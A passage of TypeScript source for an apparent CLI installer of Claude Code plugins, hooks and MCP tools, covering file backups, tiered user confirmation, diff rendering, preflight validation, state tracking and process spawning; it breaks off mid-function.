'PROJECT', backupDir: string): string {\n // For HOME-scope files, mirror under .harnessed-backup/<id>/HOME/<rel-to-home>;\n // for PROJECT-scope, mirror under .harnessed-backup/<id>/PROJECT/<rel-to-cwd>.\n // If we cannot resolve a relative path (e.g. file is outside home dir on a\n // weird Win symlink), fall back to a flat sha1-of-path filename to avoid\n // colliding with sibling files.\n const root = scope === 'HOME' ? HOME_DIR : '.'\n const rel = root ? relative(root, target) : target\n if (!rel || rel.startsWith('..')) {\n const flat = createHash('sha1').update(target).digest('hex').slice(0, 16)\n return join(backupDir, scope, flat)\n }\n return join(backupDir, scope, rel)\n}\n\nfunction detectEol(buf: Buffer): 'lf' | 'crlf' {\n // First CRLF wins; manifests and config JSON are typically pure-LF or\n // pure-CRLF in real world (mixed-EOL files exist but are vanishingly rare;\n // we pick the dominant convention based on first occurrence).\n return buf.includes('\\r\\n') ? 'crlf' : 'lf'\n}\n\nexport async function backup(plan: DiffPlan, ctx: InstallContext): Promise<BackupResult> {\n const filename = ctx.manifest.metadata.name\n\n // ISO timestamp with `:` → `-` for Win filename safety.\n const backupId = new Date().toISOString().replace(/:/g, '-')\n const backupDir = join(ctx.cwd, '.harnessed-backup', backupId)\n\n try {\n await mkdir(backupDir, { recursive: true })\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: '/',\n message: `failed to create backup dir ${backupDir}: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-mkdir-failed',\n },\n }\n }\n\n const entries: BackupFileEntry[] = []\n\n for (const file of plan.files) {\n let buf: Buffer\n try {\n buf = await readFile(file.target)\n } catch (err) {\n // ENOENT is expected for pure-create plans (oldText === '' + file does\n // not yet exist) — record an empty backup entry so rollback knows to\n // delete the file rather than restore.\n const code = (err as NodeJS.ErrnoException).code\n if (code === 'ENOENT' && file.oldText === '') {\n entries.push({\n target: file.target,\n backup: '', // sentinel: no backup written; rollback should unlink target\n sha1: '',\n eol: 'lf', // moot for non-existent file; default to lf\n })\n continue\n }\n return {\n ok: false,\n error: {\n file: filename,\n path: file.target,\n message: `failed to read original file for backup: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-read-failed',\n },\n }\n }\n\n const sha1 = createHash('sha1').update(buf).digest('hex')\n const eol = detectEol(buf)\n const dest = mirrorPath(file.target, file.scope, backupDir)\n\n try {\n await mkdir(dirname(dest), { recursive: true })\n await writeFile(dest, buf)\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: dest,\n message: `failed to write backup copy: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-write-failed',\n },\n }\n }\n\n entries.push({ target: file.target, backup: dest, sha1, eol })\n }\n\n // metadata.json — single source of truth for rollback.\n const metadata: BackupMetadata = {\n installer: filename,\n manifest: filename,\n timestamp: backupId,\n files: entries,\n }\n const metadataPath = join(backupDir, 'metadata.json')\n try {\n await writeFile(metadataPath, `${JSON.stringify(metadata, null, 2)}\\n`, 'utf8')\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: metadataPath,\n message: `failed to write metadata.json: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-metadata-failed',\n },\n }\n }\n\n return { ok: true, backupId, backupDir }\n}\n","// Phase 1.2 4-level confirm wrapper per ADR 0004 contract 4 + Pattern C + H.\n//\n// IMPL NOTE (Rule 1 / GA-2 § B.3): every Clack prompt call MUST be guarded\n// with `p.isCancel(ans)` immediately after await — otherwise Ctrl-C / ESC\n// silently returns a Symbol() value that flows downstream as a truthy\n// non-boolean and corrupts the install decision (terkelg/prompts has the\n// same footgun; Clack v0.10 inherited it but exposes isCancel guard).\n//\n// IMPL NOTE (ADR 0004 contract 4): four risk levels map to four prompt\n// shapes:\n// L1 (read-only / project-scope safe write) → just `note()` print, auto-yes\n// L2 (project-scope mutation, e.g. .mcp.json append) → single `confirm()`\n// L3 (user-scope mutation, e.g. ~/.claude.json) → confirm() × 2 — second\n// message MUST mention shared-state side effects on other plugins\n// L4 (system-wide / global npm install) → require explicit `--system`\n// flag at CLI; if missing, refuse without prompt + print educational\n// \"use --system to opt in\" hint (no L4 manifest may auto-apply)\n//\n// nonInteractive mode (CI / scripts): skip all prompts; honor ctx.opts.apply\n// for L1/L2/L3 (apply=true → proceed; apply=false → dry-run yields proceed:\n// true so caller computes plan but does not execute), while L4 still\n// requires --system (security flag, not a UX decision).\n\nimport * as p from '@clack/prompts'\nimport type { InstallContext, Level } from './types.js'\n\nexport type ConfirmReason = 'user-cancel' | 'flag-missing'\n\nexport interface ConfirmOutcome {\n proceed: boolean\n reason?: ConfirmReason\n}\n\nexport async function confirmAt(level: Level, ctx: InstallContext): Promise<ConfirmOutcome> {\n // L4 — system flag gate, runs first (must short-circuit before any prompt).\n if (level === 'L4' && !ctx.opts.system) {\n if (!ctx.opts.nonInteractive) {\n p.note(\n 'this method requires --system flag (e.g. global npm install affects machine PATH); pass --system to opt in.',\n 'L4 system-wide install',\n )\n }\n return { proceed: false, reason: 'flag-missing' }\n }\n\n // Non-interactive: skip prompts, decide from --apply.\n if (ctx.opts.nonInteractive) {\n return { proceed: ctx.opts.apply }\n }\n\n if (level === 'L1') {\n p.note('will write project-local files only (safe scope).', 'L1 confirm')\n return { proceed: true }\n }\n\n if (level === 'L2') {\n const ans = await p.confirm({ message: 'Proceed with install?', initialValue: false })\n if (p.isCancel(ans)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: ans === true }\n }\n\n if (level === 'L3') {\n const first = await p.confirm({ message: 'Proceed with install?', initialValue: false })\n if (p.isCancel(first)) return { proceed: false, reason: 'user-cancel' }\n if (first !== true) return { proceed: false }\n\n const second = await p.confirm({\n message:\n 'This affects other plugins (e.g. ~/.claude.json is shared user-scope state). Confirm again?',\n initialValue: false,\n })\n if (p.isCancel(second)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: second === true }\n }\n\n // L4 with --system flag → single high-stakes confirm.\n const ans = await p.confirm({\n message: 'System-wide install will modify global PATH. Proceed?',\n initialValue: false,\n })\n if (p.isCancel(ans)) return { proceed: false, reason: 'user-cancel' }\n return { proceed: ans === true }\n}\n","// Phase 1.2 unified-diff renderer per ADR 0004 contract 2 + Pattern B + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3): jsdiff createPatch() is invoked with\n// `stripTrailingCr: true` so a Windows manifest written with CRLF and a Unix\n// target file with LF (or vice versa) produces a *stable* diff — not a\n// 100%-noise \"every line changed\" diff. The trailing CR character (\\r) at\n// end-of-line is normalised away from both sides before line comparison.\n//\n// IMPL NOTE (Rule 1 / nodejs/node#39673 + GA-2 § B.1): we color via\n// picocolors.isColorSupported (NOT process.stdout.isTTY directly). On\n// Windows under Git-Bash, isTTY returns `undefined` instead of `true|false`,\n// which would silently disable color for a real interactive shell. picocolors\n// already combines isTTY ?? false || env.FORCE_COLOR / NO_COLOR / TERM=dumb\n// into one boolean — trust it.\n\nimport { createPatch } from 'diff'\nimport pc from 'picocolors'\nimport type { DiffFile, DiffPlan, InstallContext } from './types.js'\n\n// ADR 0004 § 2 — long diffs are folded by default to keep terminal scrollback\n// reasonable; user passes --full-diff to expand.\nconst FOLD_THRESHOLD = 200\nconst FOLD_HEAD = 100\n\nfunction colorize(line: string): string {\n if (!pc.isColorSupported) return line\n if (line.startsWith('+') && !line.startsWith('+++')) return pc.green(line)\n if (line.startsWith('-') && !line.startsWith('---')) return pc.red(line)\n if (line.startsWith('@@')) return pc.cyan(line)\n return line\n}\n\nfunction diffOneFile(file: DiffFile): { lines: string[]; added: number; removed: number } {\n const patch = createPatch(file.target, file.oldText, file.newText, '', '', {\n stripTrailingCr: true,\n })\n const lines = patch.split('\\n')\n let added = 0\n let removed = 0\n for (const ln of lines) {\n if (ln.startsWith('+') && !ln.startsWith('+++')) added++\n else if (ln.startsWith('-') && !ln.startsWith('---')) removed++\n }\n return { lines, added, removed }\n}\n\nexport function renderDiff(plan: DiffPlan, ctx: InstallContext): string {\n if (plan.files.length === 0) return '(no file changes)\\n'\n\n const out: string[] = []\n let totalAdded = 0\n let totalRemoved = 0\n\n for (const file of plan.files) {\n const { lines, added, removed } = diffOneFile(file)\n totalAdded += added\n totalRemoved += removed\n\n const folded = !ctx.opts.fullDiff && lines.length > FOLD_THRESHOLD\n const visible = folded ? lines.slice(0, FOLD_HEAD) : lines\n for (const ln of visible) out.push(colorize(ln))\n if (folded) {\n const more = lines.length - FOLD_HEAD\n out.push(pc.dim(`... ${more} more lines (use --full-diff to expand)`))\n }\n }\n\n // ADR 0004 § 2 summary line — appended at the bottom so user always sees it.\n const summary = `will modify ${plan.files.length} file${plan.files.length === 1 ? '' : 's'} (${totalAdded} added, ${totalRemoved} removed)`\n out.push('')\n out.push(pc.bold(summary))\n\n return `${out.join('\\n')}\\n`\n}\n","// Phase 5.1 W0 T0.3 — extract err() helper (#BG MED carry-forward 4-phase discharge).\n// Identical 3-line function existed in 7 installer files:\n// ccHookAdd.ts L18 + ccPluginMarketplace.ts L40 + gitCloneWithSetup.ts L43\n// mcpHttpAdd.ts L38 + mcpStdioAdd.ts L31 + npmCli.ts L35 + npxSkillInstaller.ts L49\n// Extracted here to eliminate 7-way duplication.\n\nimport type { InstallContext, InstallError } from './types.js'\n\nexport function err(\n ctx: InstallContext,\n path: string,\n message: string,\n keyword: string,\n): InstallError {\n return { file: ctx.manifest.metadata.name, path, message, line: null, column: null, keyword }\n}\n","// Phase 1.2 first-gate preflight per ADR 0004 contract 1 + Pattern D + C.\n//\n// Why preflight is its own file (not folded into spawn.ts):\n// We want the user to see \"platform mismatch\" / \"missing idempotent_check\"\n// *before* a spawn error fires with a stack trace. spawn.ts is a hot path\n// that should assume invariants already hold; preflight is the cold path\n// that validates those invariants once per install run, in the same spirit\n// as src/manifest/security.ts being separate from validate.ts.\n//\n// Surgical path-walking (Pattern D): we do NOT recursively traverse the\n// manifest AST — every check below targets a hard-coded path. If a future\n// schema field needs preflight enforcement, add a clause here, not a generic\n// walker (karpathy YAGNI; matches manifest/security.ts cmdPaths style).\n//\n// Out of scope (deferred to later phases):\n// - `git ls-remote <repo> <git_ref>` real-network probe → phase 2.1\n// (slow + offline-CI-hostile; preflight is a synchronous fast gate)\n// - npm registry reachability probe → phase 2.4 doctor\n// - Network MTU / proxy configuration → out of phase 1.2 scope\n\nimport type { InstallContext, InstallError } from './types.js'\n\nconst SUPPORTED_PLATFORMS = ['linux', 'darwin', 'win32'] as const\ntype SupportedPlatform = (typeof SUPPORTED_PLATFORMS)[number]\n\n// Subset of cc-plugin-marketplace + git-clone-with-setup git_ref shape; matches\n// the schema regex in src/manifest/schema/installMethods/ccPluginMarketplace.ts.\n// Sanity grep only — schema already enforced this if validate.ts ran.\nconst GIT_REF_SHAPE = /^([a-f0-9]{7,40}|v?\\d+\\.\\d+\\.\\d+([.-][\\w.-]+)?)$/\n\nexport interface PreflightOutcome {\n ok: boolean\n errors: InstallError[]\n // Set when ok=false AND a hard-stop reason applies (caller should yield an\n // `aborted` InstallResult instead of a plain `ok:false`).\n abortReason?: 'platform-mismatch'\n}\n\nexport function preflight(ctx: InstallContext): PreflightOutcome {\n const errors: InstallError[] = []\n const filename = ctx.manifest.metadata.name\n const spec = ctx.manifest.spec\n const install = spec.install\n\n // 1. Platform whitelist. SUPPORTED_PLATFORMS is the harnessed v0.1\n // surface; any platforms[] entry outside it is a manifest error caught by\n // schema, but we double-check for robustness.\n const current = process.platform as SupportedPlatform\n if (!spec.platforms.includes(current)) {\n errors.push({\n file: filename,\n path: '/spec/platforms',\n message: `current platform '${current}' not in supported list [${spec.platforms.join(', ')}]; manifest declares it does not run here.`,\n line: null,\n column: null,\n keyword: 'platform-mismatch',\n suggest: `add '${current}' to spec.platforms in upstream manifest if the installer is known to work there`,\n })\n return { ok: false, errors, abortReason: 'platform-mismatch' }\n }\n\n // 2. git_ref shape sanity (only methods that have it).\n if ('git_ref' in install && typeof install.git_ref === 'string') {\n if (!GIT_REF_SHAPE.test(install.git_ref)) {\n errors.push({\n file: filename,\n path: '/spec/install/git_ref',\n message: `git_ref '${install.git_ref}' does not match SHA(7-40 hex) or SemVer shape; schema should have caught this — preflight backstop.`,\n line: null,\n column: null,\n keyword: 'git-ref-shape',\n suggest:\n 'pin to a SHA (40 hex) or SemVer tag (e.g. v1.2.3); branch names like main/HEAD are forbidden',\n })\n }\n }\n\n // 3. idempotent_check non-empty string (all 6 install methods declare it\n // required in schema, but this guards against a programmatically-built\n // manifest that bypassed validate.ts).\n if (\n typeof install.idempotent_check !== 'string' ||\n install.idempotent_check.trim().length === 0\n ) {\n errors.push({\n file: filename,\n path: '/spec/install/idempotent_check',\n message:\n 'idempotent_check missing or empty; ADR 0004 contract 1 requires a check command for re-install detection',\n line: null,\n column: null,\n keyword: 'idempotent-check-missing',\n suggest:\n 'add a shell cmd that exits 0 iff the package is already installed (e.g. `npm ls -g <pkg>`)',\n })\n }\n\n return { ok: errors.length === 0, errors }\n}\n","// Phase 1.2 .harnessed/state.json SSOT per ADR 0004 contract 6 + D1.2-7.\n//\n// Tracks \"what is currently installed\" across reboots / shells:\n// - schema version (so future migrations are explicit)\n// - per-install record: version + ISO timestamp + manifest sha1\n//\n// karpathy YAGNI (D1.2-7): we do NOT pre-reserve audit.log / current-workflow\n// / checkpoints fields here — those are added when their owner phases ship\n// (audit log = phase 1.4 routing-engine, checkpoints = phase 3.1 ralph-loop\n// integration). The state.json schema therefore lives behind a version field\n// so future phases can bump it without touching this file.\n//\n// Plain TS interface (NOT TypeBox) — state.json is read/written by harnessed\n// itself, never by user manifests; we don't need Ajv runtime validation.\n//\n// IMPL NOTE (Rule 1 / concurrent-write hazard): writeState() uses the atomic\n// write-then-rename idiom (write to `.tmp` sibling + `fs.rename`). Two\n// `harnessed install` processes running concurrently in the same project\n// will see one another's tmp file but only one rename wins, so the final\n// state.json is always either the pre- or the post-state — never a half-\n// written truncation. This matches how npm/yarn/git index updates work.\n//\n// Pattern C: readState returns a default object on ENOENT (first install in\n// a fresh project) — we never throw on missing state.json; absence is the\n// expected initial condition.\n\nimport { mkdir, readFile, rename, writeFile } from 'node:fs/promises'\nimport { dirname, join } from 'node:path'\n\nexport interface HarnessedStateEntry {\n version: string\n installedAt: string // ISO-8601 timestamp\n manifestSha1: string // sha1 of the manifest yaml that produced this install\n}\n\nexport interface HarnessedState {\n version: '1' // schema version of THIS file format; bump on incompatible change\n installed: Record<string, HarnessedStateEntry>\n}\n\nconst DEFAULT_STATE: HarnessedState = { version: '1', installed: {} }\n\nfunction statePath(cwd: string): string {\n return join(cwd, '.harnessed', 'state.json')\n}\n\nexport async function readState(cwd: string): Promise<HarnessedState> {\n const path = statePath(cwd)\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (err) {\n // ENOENT — first install in a fresh project; return default schema.\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') {\n return { ...DEFAULT_STATE, installed: {} }\n }\n throw err\n }\n // Malformed JSON / wrong schema version is recoverable: log and return\n // default; we choose data loss over crash because state.json is not\n // primary truth (manifests + .harnessed-backup are). Caller may add a\n // doctor warning if installed map is empty but backups exist.\n try {\n const parsed = JSON.parse(raw) as HarnessedState\n if (parsed.version !== '1' || typeof parsed.installed !== 'object') {\n return { ...DEFAULT_STATE, installed: {} }\n }\n return parsed\n } catch {\n return { ...DEFAULT_STATE, installed: {} }\n }\n}\n\nexport async function writeState(cwd: string, state: HarnessedState): Promise<void> {\n const path = statePath(cwd)\n const tmp = `${path}.tmp`\n await mkdir(dirname(path), { recursive: true })\n // Trailing newline keeps state.json POSIX-friendly + diff-friendly.\n await writeFile(tmp, `${JSON.stringify(state, null, 2)}\\n`, 'utf8')\n await rename(tmp, path)\n}\n\n/**\n * Read-modify-write helper for the common case: record a successful install.\n * Adds or replaces `installed[name]` and persists atomically.\n */\nexport async function updateInstalled(\n cwd: string,\n name: string,\n version: string,\n manifestSha1: string,\n): Promise<void> {\n const state = await readState(cwd)\n state.installed[name] = {\n version,\n installedAt: new Date().toISOString(),\n manifestSha1,\n }\n await writeState(cwd, state)\n}\n","// Phase 2.4 W3 T3.1 — install method 7/7: cc-hook-add (D-04 § 3.1 + R2.4.4 +\n// B-20/B-21/B-22). Sister: npxSkillInstaller (L2 HOME write, real-path verify).\n// L3 tier (~/.claude/settings.json is shared user-scope state — sister mcp-stdio).\n// Deep-merges settings.hooks[event][] (NEVER overwrite). Idempotent on duplicate\n// (matching command+matcher → skip with appliedFiles:[]). R7 verify: re-read +\n// .some() grep (writeFile exit ≠ filesystem truth — sister npx-skill-installer C6).\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\ninterface Settings {\n hooks?: Record<string, { matcher?: string; command: string }[]>\n [k: string]: unknown\n}\n\nexport const installCcHookAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-hook-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `dispatch bug: ${install.method}`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const settingsPath = join(homedir(), '.claude', 'settings.json')\n // Sentinel `null` ⇒ file does not exist (oldText='' so backup() emits pure-create).\n let existing: string | null\n try {\n existing = await readFile(settingsPath, 'utf8')\n } catch {\n existing = null\n }\n let settings: Settings\n try {\n settings = JSON.parse(existing ?? '{}') as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/',\n `malformed settings.json: ${(e as Error).message.slice(0, 200)}`,\n 'settings-json-malformed',\n ),\n }\n }\n settings.hooks = settings.hooks ?? {}\n const ev = install.hook_event\n const matcher = install.hook_matcher\n const cmd = install.hook_command\n settings.hooks[ev] = settings.hooks[ev] ?? []\n if (settings.hooks[ev].some((h) => h.command === cmd && h.matcher === matcher)) {\n return { ok: true, backupId: 'idempotent-skip', appliedFiles: [] }\n }\n settings.hooks[ev].push({ matcher, command: cmd })\n const newText = `${JSON.stringify(settings, null, 2)}\\n`\n const plan: DiffPlan = {\n files: [{ target: settingsPath, scope: 'HOME', oldText: existing ?? '', newText }],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n await writeFile(settingsPath, newText)\n\n // R7 — re-read + grep cmd presence; ENOENT/malformed post-write ⇒ verify-failed.\n let verify: Settings\n try {\n verify = JSON.parse(await readFile(settingsPath, 'utf8')) as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/hook_command',\n `verify re-read fail: ${(e as Error).message.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n if (!verify.hooks?.[ev]?.some((h) => h.command === cmd)) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/hook_command',\n `hook '${cmd.slice(0, 80)}' missing in hooks.${ev}[] after write`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, '', '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [settingsPath] }\n}\n","// Phase 5.1 W0 T0.3 — extract runArgs helper (#BF MED carry-forward 4-phase discharge).\n// Identical implementation existed in mcpStdioAdd.ts L40 + mcpHttpAdd.ts L47 +\n// ccPluginMarketplace.ts L49; extracted here to eliminate 3-way duplication.\n//\n// IMPL NOTE: Win routes through cmd.exe /c because `claude` ships as a .cmd shim.\n// Unix spawns the binary directly (no shell) — args remain unparsed. This matches\n// the established cross-OS pattern across all 3 call sites verbatim.\n\nimport { spawn } from 'node:child_process'\n\nexport interface ProcResult {\n exitCode: number\n stderr: string\n}\n\nexport function runArgs(\n claudeArgs: string[],\n cwd: string,\n timeoutMs = 15_000,\n): Promise<ProcResult> {\n return new Promise((resolve) => {\n // Win: route through cmd.exe /c because `claude` ships as a .cmd shim.\n // Unix: spawn the binary directly (no shell) — args remain unparsed.\n const isWin = process.platform === 'win32'\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'claude', ...claudeArgs], { cwd, windowsHide: true })\n : spawn('claude', claudeArgs, { cwd, shell: false })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout after ${timeoutMs}ms]` })\n }, timeoutMs)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: `${stderr}${e.message}` })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n}\n","// Phase 2.1 install method 5/6 — cc-plugin × cc-plugin-marketplace per ADR\n// 0004 § 5 + ADR 0005 + ADR 0010 errata D-20.\n//\n// IMPL NOTE (Rule 1 / D-11 + D-12 + CC #54803): `--scope project` hardcoded\n// for the `plugin install` step — same broken-user-scope rationale as\n// mcpStdioAdd. Cannot be overridden by manifest fields; the manifest cmd\n// string is informational; we authoritatively reconstruct args[].\n//\n// IMPL NOTE (Rule 1 / D-20 idempotency): Two sequential spawns:\n// Step 1: `claude plugin marketplace add <url>`\n// Step 2: `claude plugin install <plugin>@<marketplace> --scope project`\n// Step-1 non-zero exit is non-fatal IF step-2 succeeds — marketplace already\n// being registered is a benign state (\"already exists\" is the most common\n// step-1 failure on re-install). We do NOT pre-probe `marketplace list`\n// (extra spawn, extra failure surface); we let step-2 decide.\n//\n// IMPL NOTE (Rule 1 / parse install.cmd): the install method schema does not\n// carry typed `marketplace_url`/`marketplace_name`/`plugin_name` fields (it\n// has only cmd + git_ref + idempotent_check + optional marketplace_source).\n// We parse the manifest cmd which is the user-facing audit-trail string,\n// matching the architectural discipline already established by mcpStdioAdd\n// (cmd is informational; args reconstructed authoritatively).\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix): re-screen each constructed arg\n// before spawn — same defense-in-depth posture as mcpStdioAdd/mcpHttpAdd.\n//\n// IMPL NOTE (Rule 1 / C6): verify uses `claude plugin list` exit code via\n// `grep -q <plugin>`; we do NOT parse stdout. CLI output format is not a\n// stable contract; exit code is. Mirrors mcpStdioAdd verify discipline.\n\nimport { spawn } from 'node:child_process'\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport type { ProcResult } from './lib/runClaudeArgs.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\n// Parse `<plugin>@<marketplace>` and the marketplace URL/owner-repo from the\n// manifest cmd. cmd shape (per real manifests + CC docs):\n// `/plugin marketplace add <owner/repo-or-url> && /plugin install <plugin>@<marketplace>`\n// OR\n// `/plugin install <plugin>@<marketplace>` (marketplace pre-registered)\n// We extract:\n// - marketplaceRef: the token after `marketplace add` (can be owner/repo or URL)\n// - pluginAtMkt: the `<plugin>@<marketplace>` token after `plugin install`\ninterface ParsedCmd {\n marketplaceRef: string | null\n pluginAtMkt: string\n}\nfunction parseCmd(cmd: string): ParsedCmd | null {\n // marketplaceRef\n const mktMatch = cmd.match(/(?:\\/?plugin)\\s+marketplace\\s+add\\s+(\\S+)/i)\n // pluginAtMkt — strip leading slash, strip trailing semicolons/&&\n const pluginMatch = cmd.match(/(?:\\/?plugin)\\s+install\\s+(\\S+)/i)\n if (!pluginMatch || pluginMatch[1] === undefined) return null\n const pluginAtMkt = pluginMatch[1].replace(/[;&]+$/, '')\n if (!pluginAtMkt.includes('@')) return null\n const mktRef = mktMatch && mktMatch[1] !== undefined ? mktMatch[1] : null\n return {\n marketplaceRef: mktRef,\n pluginAtMkt,\n }\n}\n\nexport const installCcPluginMarketplace: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-plugin-marketplace') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installCcPluginMarketplace received non-cc-plugin-marketplace method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const parsed = parseCmd(install.cmd)\n if (!parsed) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `cc-plugin-marketplace cmd must contain \\`plugin install <plugin>@<marketplace>\\` (parsed from: '${install.cmd.slice(0, 100)}')`,\n 'cc-plugin-shape',\n ),\n suggest:\n 'see manifests/tools/ralph-loop.yaml or manifests/tools/superpowers.yaml for shape',\n },\n }\n }\n const pluginName = parsed.pluginAtMkt.split('@')[0]\n\n // Step 2 args — `--scope project` hardcoded (D-12). Step-1 args optional.\n const installArgs = ['plugin', 'install', parsed.pluginAtMkt, '--scope', 'project']\n const allArgs: string[][] = []\n if (parsed.marketplaceRef !== null) {\n allArgs.push(['plugin', 'marketplace', 'add', parsed.marketplaceRef])\n }\n allArgs.push(installArgs)\n\n // H2 defense-in-depth — re-screen every arg of every step.\n for (const argSet of allArgs) {\n for (const a of argSet) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed cc-plugin arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n }\n\n // L3 fixed — diff target is `.claude/settings.json` `enabledPlugins` key.\n // We simulate the entry textually (no `--dry-run` flag exists on\n // `claude plugin install`); the cmd echo is the audit trail.\n const settingsFile = `${ctx.cwd}/.claude/settings.json`\n const newEntry = JSON.stringify({ enabledPlugins: { [parsed.pluginAtMkt]: true } }, null, 2)\n const plan: DiffPlan = {\n files: [\n {\n target: settingsFile,\n scope: 'PROJECT',\n oldText: '',\n newText: `// will be merged into .claude/settings.json enabledPlugins map by \\`claude plugin install\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // Step 1 — marketplace add (D-20: non-zero is non-fatal; step 2 is the decider).\n let stepOneStderr = ''\n if (parsed.marketplaceRef !== null) {\n const r1 = await runArgs(\n ['plugin', 'marketplace', 'add', parsed.marketplaceRef],\n install.cwd ?? ctx.cwd,\n )\n stepOneStderr = r1.stderr\n // intentional: do not return on r1.exitCode !== 0\n }\n\n // Step 2 — plugin install. This is the authoritative outcome decider.\n const r2 = await runArgs(installArgs, install.cwd ?? ctx.cwd)\n if (r2.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude plugin install exited ${r2.exitCode}: ${r2.stderr.slice(0, 200)}${stepOneStderr ? ` | marketplace-add stderr: ${stepOneStderr.slice(0, 100)}` : ''}`,\n 'install-failed',\n ),\n }\n }\n\n // Verify via `claude plugin list | grep -q <pluginName>`. C6: exit code is\n // the contract, not stdout parsing.\n const verifyShell = process.platform === 'win32' ? 'cmd.exe' : '/bin/sh'\n const verifyFlag = process.platform === 'win32' ? '/c' : '-c'\n const verifyLine = `claude plugin list --json | grep -q ${pluginName}`\n const violation = checkCmdString(verifyLine)\n if (violation) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify shell escape: ${violation.label}`,\n 'security-gate-bypass',\n ),\n }\n }\n const vr = await new Promise<ProcResult>((resolve) => {\n const child = spawn(verifyShell, [verifyFlag, verifyLine], { cwd: ctx.cwd, windowsHide: true })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout]` })\n }, 15_000)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: e.message })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n if (vr.exitCode !== 0) {\n return {\n ok: false,\n phase: 'verify',\n backupId: 